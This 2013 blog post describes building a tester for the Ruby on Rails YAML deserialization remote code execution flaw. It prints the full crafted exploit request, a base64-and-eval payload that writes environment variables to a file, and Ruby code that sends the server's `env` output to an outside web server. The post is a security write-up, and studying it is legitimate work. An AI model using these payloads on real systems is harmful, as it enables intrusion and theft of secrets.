Monday, February 11, 2013

Ruby On Rails tester

That Ruby on Rails flaw was something. The only prerequisite for any website to be exploited with remote code execution was to have a Ruby application running, nothing more, even a simple "Hello World!" was affected.

I checked out some proof of concept from http://ronin-ruby.github.com/blog/2013/01/09/rails-pocs.html made in Ruby.

In order to see really what was going on, I proxied the Ruby PoC trough Burp. It was done easily since it runs on Ruby Ronin:
Ronin::Network::HTTP.proxy[:host] = '127.0.0.1'
Ronin::Network::HTTP.proxy[:port] = 8080


Then I ran from the command line :
ruby rails_rce.rb http://127.0.0.1:3000 puts 'rce'

And then got the request :
POST / HTTP/1.1
Content-Type: text/xml
X-Http-Method-Override: get
Accept: */*
User-Agent: Ruby
Host: 127.0.0.1:3000
Content-Length: 396

<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? ! 'foo

  (puts ''rce''; @executed = true) unless @executed

  __END__

'
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format</exploit>

The unless @executed is there because the injected code is actually iterated many times (4 in my hello world test). Also, you have to duplicate the single quote in the command in order to avoid a parser error. This is actually a good test case in order to see if the yaml parser is working and exploitable.

I tried for quite a while to have something else than an error to be fed back into the HTTP response, but without success. I was testing with WEBrick and haven't try with Passenger. I was trying to access the response object within Rails but with no success. Nevertheless, I was able to do ruby code, includes, and execute shell commands.

Code was running fine, but I wanted more flexibility when writing it, so I used base64 and eval in the payload :
foo

  (require ''base64''; eval(Base64.decode64(''aWYgQGEKICBAYSA9IEBhICsgMQplbHNlCiAgQGEgPSAwCmVuZApwdXRzIEBhCnN5c3RlbSgiZW52ID4+IC90bXAvdGVzdC50eHQiKQo='')); @executed = true) unless @executed

  __END__
That way it was easy to execute multiple lines and use code that is actually more readable without having to play with it manually.

At the end I came up with that code to be able to get feedback on my Web server if successful:
require 'net/http'
Net::HTTP.get('www.jonathanmarcil.ca', '/?rubyonfails=' + Base64.urlsafe_encode64(`env`))
puts 'You have been tested!'

It worked just fine and that's how I made my RoR tester.


Tested under development versions:
WEBrick 1.3.1
Rails 3.2.8
ruby 1.9.3 (2013-01-15) [i686-linux]

And production:
Apache/2.2.22 (Ubuntu) Phusion_Passenger/3.0.19
ruby-1.9.3-p374 x86_64


No comments:

Post a Comment